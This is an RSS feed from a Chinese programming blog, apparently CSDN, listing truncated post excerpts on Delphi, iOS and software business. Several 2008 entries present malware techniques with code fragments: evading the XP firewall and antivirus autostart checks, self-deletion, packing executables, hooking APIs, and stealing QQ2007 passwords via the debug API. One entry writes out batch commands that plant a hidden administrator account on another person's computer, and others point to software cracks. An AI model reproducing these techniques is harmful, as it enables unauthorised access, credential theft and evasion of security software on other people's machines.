<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[荣植华的专栏]]></title><description><![CDATA[问渠那得清如许，为有源头活水来]]></description><link>https://blog.csdn.net/Rzhghost</link><language>zh-cn</language><generator>https://blog.csdn.net/</generator><copyright><![CDATA[Copyright &copy; Rzhghost]]></copyright><item><title><![CDATA[Xcode11: 删除默认Main.storyBoard, 自定义UIWindow的变化 UIWindow 不能在AppDelegate中处理]]></title><link>https://blog.csdn.net/Rzhghost/article/details/101675332</link><guid>https://blog.csdn.net/Rzhghost/article/details/101675332</guid><author>Rzhghost</author><pubDate>Sun, 29 Sep 2019 10:36:35 +0800</pubDate><description><![CDATA[Xcode自动新增了一个SceneDelegate文件，查找了一下官方文档WWDC2019：Optimizing App Launch 发现，iOS13中appdelegate的职责发现了改变： iOS13之前，Appdelegate的职责全权处理App生命周期和UI生命周期； iOS13之后，Appdelegate的职责是： 1、处理 App 生命周期 2、新的 Scene Session 生命...]]></description><category></category></item><item><title><![CDATA[好久没有写博文了]]></title><link>https://blog.csdn.net/Rzhghost/article/details/4398594</link><guid>https://blog.csdn.net/Rzhghost/article/details/4398594</guid><author>Rzhghost</author><pubDate>Fri, 31 Jul 2009 22:19:00 +0800</pubDate><description><![CDATA[这段时间比较忙乱，是时候打点行装，再上征程了... ...]]></description><category></category></item><item><title><![CDATA[阻止删除文件(文件占坑)的delphi代码]]></title><link>https://blog.csdn.net/Rzhghost/article/details/3495577</link><guid>https://blog.csdn.net/Rzhghost/article/details/3495577</guid><author>Rzhghost</author><pubDate>Thu, 11 Dec 2008 08:50:00 +0800</pubDate><description><![CDATA[  代码:function EnabledDebugPrivilege(const bEnabled: Boolean): Boolean;varhToken: THandle;tp: TOKEN_PRIVILEGES;a: DWORD;constSE_DEBUG_NAME = SeDebugPrivilege;beginResult := False;if (OpenProcessT]]></description><category></category></item><item><title><![CDATA[加壳原理与简单实现加壳（delphi源代码）]]></title><link>https://blog.csdn.net/Rzhghost/article/details/3495573</link><guid>https://blog.csdn.net/Rzhghost/article/details/3495573</guid><author>Rzhghost</author><pubDate>Thu, 11 Dec 2008 08:48:00 +0800</pubDate><description><![CDATA[{*****************************************************************AddShell（）源自于前一段时间有写的addsection（）新增区段代码，在增加区段代码的基础上，追加了1.修改启动入口点位置2.增加一段壳头xor $50的代码function AttachStart-function AttachEnd这一段代码是先填充，再]]></description><category></category></item><item><title><![CDATA[完美屏蔽 Ctrl+Alt+Del 键]]></title><link>https://blog.csdn.net/Rzhghost/article/details/3142930</link><guid>https://blog.csdn.net/Rzhghost/article/details/3142930</guid><author>Rzhghost</author><pubDate>Sat, 25 Oct 2008 14:03:00 +0800</pubDate><description><![CDATA[完美屏蔽 Ctrl+Alt+Del 键一、前言　　在Windows 9x/Me系统中，屏蔽Ctrl+Alt+Del和各种任务开关键的方法是通过下面的方法实现的：BOOL bOldState;SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, TRUE, &bOldState, 0); 但在NT平台下，此方法不再适用，即使使用钩子技术也无法拦截到这个组]]></description><category></category></item><item><title><![CDATA[如何过XP的防火墙而不被拦截]]></title><link>https://blog.csdn.net/Rzhghost/article/details/3136166</link><guid>https://blog.csdn.net/Rzhghost/article/details/3136166</guid><author>Rzhghost</author><pubDate>Fri, 24 Oct 2008 13:18:00 +0800</pubDate><description><![CDATA[procedure TForm1.Button1Click(Sender: TObject);var   FwMgr,Profile,FwApp: variant;begin   FwMgr := CreateOLEObject(HNetCfg.FwMgr);   Profile := FwMgr.LocalPolicy.CurrentProfile;   FwApp := CreateOLE]]></description><category></category></item><item><title><![CDATA[windows2008下如何删除程序自身]]></title><link>https://blog.csdn.net/Rzhghost/article/details/3040615</link><guid>https://blog.csdn.net/Rzhghost/article/details/3040615</guid><author>Rzhghost</author><pubDate>Thu, 09 Oct 2008 10:42:00 +0800</pubDate><description><![CDATA[procedure DeleteMe;var  BatchFile: TextFile;  BatchFileName: string;  ProcessInfo: TProcessInformation;  StartUpInfo: TStartupInfo;begin  BatchFileName := ExtractFilePath(ParamStr(0)) +  _deleteme.ba]]></description><category></category></item><item><title><![CDATA[写程序启动项时如何过卡巴与360安全卫士等软件的方法]]></title><link>https://blog.csdn.net/Rzhghost/article/details/3040568</link><guid>https://blog.csdn.net/Rzhghost/article/details/3040568</guid><author>Rzhghost</author><pubDate>Thu, 09 Oct 2008 10:35:00 +0800</pubDate><description><![CDATA[procedure SetPrivilege;const  ADJUST_PRIV = TOKEN_QUERY or TOKEN_ADJUST_PRIVILEGES;  SHTDWN_PRIV = SeBackupPrivilege;      //SeBackupPrivilege 备份文件和目录。      //允许用户绕过文件和目录的权限来做备份。只有当应用程序尝试访问NTFS备份API]]></description><category></category></item><item><title><![CDATA[Delphi中进行延时的4种方法]]></title><link>https://blog.csdn.net/Rzhghost/article/details/2512664</link><guid>https://blog.csdn.net/Rzhghost/article/details/2512664</guid><author>Rzhghost</author><pubDate>Thu, 05 Jun 2008 08:53:00 +0800</pubDate><description><![CDATA[ 1、挂起，不占CPUsleep2、不挂起,占cpuprocedure Delay(msecs:integer);varFirstTickCount:longint;beginFirstTickCount:=GetTickCount;repeatApplication.ProcessMessages;until ((GetTickCount-FirstTickCount) >= Longint(m]]></description><category></category></item><item><title><![CDATA[CodeGear RAD 2007 SP4 最新下载及破解]]></title><link>https://blog.csdn.net/Rzhghost/article/details/2512150</link><guid>https://blog.csdn.net/Rzhghost/article/details/2512150</guid><author>Rzhghost</author><pubDate>Wed, 04 Jun 2008 20:38:00 +0800</pubDate><description><![CDATA[CodeGear RAD 2007 up4最新下载及破解官方http下载：　　http://altd.codegear.com/download/radstudio2007/CodeGearRADStudio2007_Dec2007.iso 官方 ftp下载：　　ftp://ftpd.codegear.com/download/radstudio2007/CodeGearRADStudio]]></description><category></category></item><item><title><![CDATA[ IT圈里的程序员们(3)]]></title><link>https://blog.csdn.net/Rzhghost/article/details/2333540</link><guid>https://blog.csdn.net/Rzhghost/article/details/2333540</guid><author>Rzhghost</author><pubDate>Sat, 26 Apr 2008 23:54:00 +0800</pubDate><description><![CDATA[4 思想，无招胜有招4.1   阶段释义客户：我们公司有二十个下属单位，每个单位分别有一套自己的销售管理系统。我们想了解各个单位的销售情况，现在是每个星期由下属单位上报周报，周期太长了，不利于领导及时掌握情况。老李：如果把销售数据自动地集中到总公司这边来呢？客户：集中？有什么好处？老李：数据集中后，总公司可以实时掌握销售情况，不用等上一个星期。根据集中后的数据，您只需要打开]]></description><category></category></item><item><title><![CDATA[IT圈里的程序员们(2)]]></title><link>https://blog.csdn.net/Rzhghost/article/details/2333538</link><guid>https://blog.csdn.net/Rzhghost/article/details/2333538</guid><author>Rzhghost</author><pubDate>Sat, 26 Apr 2008 23:52:00 +0800</pubDate><description><![CDATA[3 设计，方法为指导3.1   阶段释义老李：老张，你负责的这个模块，要有分布式事务处理能力，还要能与客户的OA系统通信，从OA中获取客户资料的数据。老张：好的。我将用EJB来实现分布式事务处理，然后开发一个专门的接口，用来与OA通信。老张毕业五年，是项目组的开发经理，负责完成子系统的设计，并指导其他成员完成编码。老张从老李处获得关于所开发的产品的需求情况，然后进行设计和分析，]]></description><category></category></item><item><title><![CDATA[IT圈里的程序员们(1)]]></title><link>https://blog.csdn.net/Rzhghost/article/details/2333534</link><guid>https://blog.csdn.net/Rzhghost/article/details/2333534</guid><author>Rzhghost</author><pubDate>Sat, 26 Apr 2008 23:51:00 +0800</pubDate><description><![CDATA[1 引子都说海阔凭鱼跃，又有多少鱼能跃出大海？都说天高任鸟飞，但真正能一飞冲天的，也不过是寥寥数鹰而已；在IT圈里流浪的程序员，当青春逝去、渐至而立之年时，又有多少人黯然退出？30岁，似乎宣告了程序人生的终结。从学会写第一个Basic程序起，已过去了15年，我也曾为30岁烦恼过。近日《神雕》热播，杨过在独孤剑圣的剑冢中发现宝剑若干，见证了独孤剑圣在人生不同阶段对剑道的领悟。忽有所感，联想起]]></description><category></category></item><item><title><![CDATA[使用Qt, KDevelop Designer开发Linux的图形界面]]></title><link>https://blog.csdn.net/Rzhghost/article/details/2247680</link><guid>https://blog.csdn.net/Rzhghost/article/details/2247680</guid><author>Rzhghost</author><pubDate>Thu, 03 Apr 2008 16:22:00 +0800</pubDate><description><![CDATA[        不知道从什么时候开始，在网页上点击文件链接或者邮件附件链接， 都会被IE以文本形式打开，就是又开了一个IE窗口，并且显示一大堆文本形式的乱码。从网上找了半天解决办法，终于找到一个。记在这里，也许对大家有用。       说明一下，我机器是Windows 2003 + sp1。      这类问题是由于文件的扩展名和内容之间的不匹配造成的，或者服务器端报告的内容类型，与文件的]]></description><category></category></item><item><title><![CDATA[软件外包该如何正确定价]]></title><link>https://blog.csdn.net/Rzhghost/article/details/2203114</link><guid>https://blog.csdn.net/Rzhghost/article/details/2203114</guid><author>Rzhghost</author><pubDate>Fri, 21 Mar 2008 15:47:00 +0800</pubDate><description><![CDATA[　　随着行业竞争激烈，越来越多的公司对信息化存在很大的需求，因而软件外包业务近年来始终保持了较快增长速度。从这几年的统计数据来看，软件技术服务始终以高于行业平均增长速度增长，软件外包的市场也相应地在不断地扩大。但现实中很多人却感叹软件外包难做，其中最难的就是外包的定价，这也是由于软件商品的特殊性所决定的。软件不同于其他有形的物质产品，比如电脑，由于制造电脑需要原材料，还需要加工。把这两部分的成本加]]></description><category></category></item><item><title><![CDATA[软件项目该如何接？(转自速用)]]></title><link>https://blog.csdn.net/Rzhghost/article/details/2203077</link><guid>https://blog.csdn.net/Rzhghost/article/details/2203077</guid><author>Rzhghost</author><pubDate>Fri, 21 Mar 2008 15:41:00 +0800</pubDate><description><![CDATA[                        　　软件项目的承接是软件企业一种重要的盈利方式，甚至对于很多软件企业来说，项目承接就是他们唯一的盈利手段，所以对于很多软件企业来讲，项目承接的成败，就是企业运营的成败。                            　　但无论对于哪类软件企业来讲，项目的承接都不是轻而易举的事情，并且不同的类型，不同特点的软件企业在项目]]></description><category></category></item><item><title><![CDATA[给别人的电脑创建一个删不掉的管理员]]></title><link>https://blog.csdn.net/Rzhghost/article/details/2154401</link><guid>https://blog.csdn.net/Rzhghost/article/details/2154401</guid><author>Rzhghost</author><pubDate>Thu, 06 Mar 2008 16:21:00 +0800</pubDate><description><![CDATA[1、在自己电脑里面建立一个.txt文本文件.　　2、在里面输入内容　　@echo off　　net user xxhk 5201314 /add   （注：xxhk是用户名，5201314是密码）　　net localgroup administrators xxhk /add  （注：这个命令是将这个xxhk用户提升为超管）　　3、保存该文件，后缀为admin.bat （注：文件名可自行更改，但]]></description><category></category></item><item><title><![CDATA[Visual Studio 2008 简体中文专业版]]></title><link>https://blog.csdn.net/Rzhghost/article/details/2154350</link><guid>https://blog.csdn.net/Rzhghost/article/details/2154350</guid><author>Rzhghost</author><pubDate>Thu, 06 Mar 2008 16:03:00 +0800</pubDate><description><![CDATA[Visual Studio 2008 简体中文专业版已经发布！90天试用版下载地址：http://www.microsoft.com/downloads/details.aspx?FamilyID=83c3a1ec-ed72-4a79-8961-25635db0192b&DisplayLang=zh-cn试用版变正式版方法，先安装试用版，然后在“添加或删除程序”里找到VS2008，点“]]></description><category></category></item><item><title><![CDATA[利用Debug Api 获得QQ2007密码]]></title><link>https://blog.csdn.net/Rzhghost/article/details/2154340</link><guid>https://blog.csdn.net/Rzhghost/article/details/2154340</guid><author>Rzhghost</author><pubDate>Thu, 06 Mar 2008 16:01:00 +0800</pubDate><description><![CDATA[代码:{*******************************************************}{                                                       }{       利用Debug Api 获得QQ2007密码                    }{   只支持QQ2007版本为7.1.576.1763]]></description><category></category></item><item><title><![CDATA[封装delphi Hook Api]]></title><link>https://blog.csdn.net/Rzhghost/article/details/2154338</link><guid>https://blog.csdn.net/Rzhghost/article/details/2154338</guid><author>Rzhghost</author><pubDate>Thu, 06 Mar 2008 16:00:00 +0800</pubDate><description><![CDATA[直接看代码unit uApiHook;interfaceuses  SysUtils, Windows, TlHelp32;type  PJmpCode = ^TJmpCode;  TJmpCode = packed record    JmpCode: BYTE;    Address: Pointer;    MovEAX: Array [0..2] of BYTE;  end;type ]]></description><category></category></item></channel></rss>